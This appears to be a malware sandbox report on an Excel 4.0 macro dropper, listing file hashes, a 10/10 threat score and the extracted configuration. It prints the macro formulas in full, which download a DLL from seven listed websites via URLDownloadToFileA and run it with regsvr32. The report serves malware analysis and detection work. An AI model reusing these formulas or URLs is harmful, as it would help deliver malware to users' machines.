General

  • Target

    6ef572c67fff4dd420e19d0b3e97dc62f1f20580bfad88e23a95901706b9d78d

  • Size

    49KB

  • Sample

    241120-aek8cawgkq

  • MD5

    da2751911315b275d4c7b7d578fb91f2

  • SHA1

    6973468c78c9027090b9f72d84b3d9dd51e80de6

  • SHA256

    6ef572c67fff4dd420e19d0b3e97dc62f1f20580bfad88e23a95901706b9d78d

  • SHA512

    1bd06a515f75cd24c449dee897da6e5eeed6d146a323be461e9a3326a34f967bf9d74e1b6052c626fd000a7113b13bff047cdea32d3796dcabd89bba581967d5

  • SSDEEP

    1536:bFmPpcEglt24xZdRBzH9hJBrdEwwNXekVIc07:J4cEk2Kd3zdtdEwoc

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://arealama.com/assets_template/58DBYXQh01ATcsKY/

https://www.artificium.es/blogs/mu8yHJ/

http://antaoco.com/wp-admin/QpyjXPLrEXf3R9/

https://www.manchesterot.co.uk/about-us/fxVCCMDni/

http://www.automatic-taps.com/Templates/TyJj6dRjzqE/

http://www.atara.com.tr/Template/595vJ91nQx/

http://arkamani.net/administrator/KIZXGmaRTF6N3qQqH/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://arealama.com/assets_template/58DBYXQh01ATcsKY/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.artificium.es/blogs/mu8yHJ/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/QpyjXPLrEXf3R9/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterot.co.uk/about-us/fxVCCMDni/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.automatic-taps.com/Templates/TyJj6dRjzqE/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atara.com.tr/Template/595vJ91nQx/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://arkamani.net/administrator/KIZXGmaRTF6N3qQqH/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://arealama.com/assets_template/58DBYXQh01ATcsKY/

xlm40.dropper

https://www.artificium.es/blogs/mu8yHJ/

xlm40.dropper

http://antaoco.com/wp-admin/QpyjXPLrEXf3R9/

xlm40.dropper

https://www.manchesterot.co.uk/about-us/fxVCCMDni/

xlm40.dropper

http://www.automatic-taps.com/Templates/TyJj6dRjzqE/

xlm40.dropper

http://www.atara.com.tr/Template/595vJ91nQx/

xlm40.dropper

http://arkamani.net/administrator/KIZXGmaRTF6N3qQqH/

Targets

    • Target

      6ef572c67fff4dd420e19d0b3e97dc62f1f20580bfad88e23a95901706b9d78d

    • Size

      49KB

    • MD5

      da2751911315b275d4c7b7d578fb91f2

    • SHA1

      6973468c78c9027090b9f72d84b3d9dd51e80de6

    • SHA256

      6ef572c67fff4dd420e19d0b3e97dc62f1f20580bfad88e23a95901706b9d78d

    • SHA512

      1bd06a515f75cd24c449dee897da6e5eeed6d146a323be461e9a3326a34f967bf9d74e1b6052c626fd000a7113b13bff047cdea32d3796dcabd89bba581967d5

    • SSDEEP

      1536:bFmPpcEglt24xZdRBzH9hJBrdEwwNXekVIc07:J4cEk2Kd3zdtdEwoc

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks